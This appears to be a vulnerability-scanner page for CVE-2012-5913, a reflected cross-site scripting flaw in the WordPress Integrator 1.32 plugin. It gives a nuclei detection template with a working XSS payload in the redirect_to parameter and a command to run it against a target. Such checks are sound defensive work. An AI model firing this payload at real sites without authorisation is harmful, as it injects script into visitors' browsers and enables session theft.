CVE-2012-5913· wordpress integrator project / wordpress integrator· CWE-79
WordPress Integrator 1.32 - Cross-Site Scripting
A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirect_to parameter to wp-login.php.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
Fix
Update the WordPress Integrator plugin to the latest version or apply the vendor-supplied patch to mitigate this vulnerability.
How to confirm it
Send: GET /wp-content/plugins/wp-integrator/readme.txt
Positive when: contains "Wordpress Integrator"
Send: GET {{BaseURL}}/wp-login.php?redirect_to=http%3A%2F%2F%3F1%3C%2FsCripT%3E%3CsCripT%3Ealert%28document.domain%29%3C%2FsCripT%3E
Positive when: contains "</sCripT><sCripT>alert(document.domain)</sCripT>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2012-5913 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2012-5913
info:
name: WordPress Integrator 1.32 - Cross-Site Scripting
author: daffainfo
severity: medium
description: A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirect_to parameter to wp-login.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
remediation: |
Update the WordPress Integrator plugin to the latest version or apply the vendor-supplied patch to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2012-5913
- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-integrator-redirect_to-parameter-cross-site-scripting-1-32/
- http://packetstormsecurity.org/files/111249/WordPress-Integrator-1.32-Cross-Site-Scripting.html
- http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt
- https://exchange.xforce.ibmcloud.com/vulnerabilities/74475
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2012-5913
cwe-id: CWE-79
epss-score: 0.08693
epss-percentile: 0.95172
cpe: cpe:2.3:a:wordpress_integrator_project:wordpress_integrator:1.32:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: "wordpress_integrator_project"
product: "wordpress_integrator"
tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm,wordpress_integrator_project,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/wp-integrator/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Wordpress Integrator'
- method: GET
path:
- '{{BaseURL}}/wp-login.php?redirect_to=http%3A%2F%2F%3F1%3C%2FsCripT%3E%3CsCripT%3Ealert%28document.domain%29%3C%2FsCripT%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</sCripT><sCripT>alert(document.domain)</sCripT>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2012-5913
- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-integrator-redirect_to-parameter-cross-site-scripting-1-32/
- http://packetstormsecurity.org/files/111249/WordPress-Integrator-1.32-Cross-Site-Scripting.html
- http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt
- https://exchange.xforce.ibmcloud.com/vulnerabilities/74475
Use this check only on systems you are authorised to test. Where the data comes from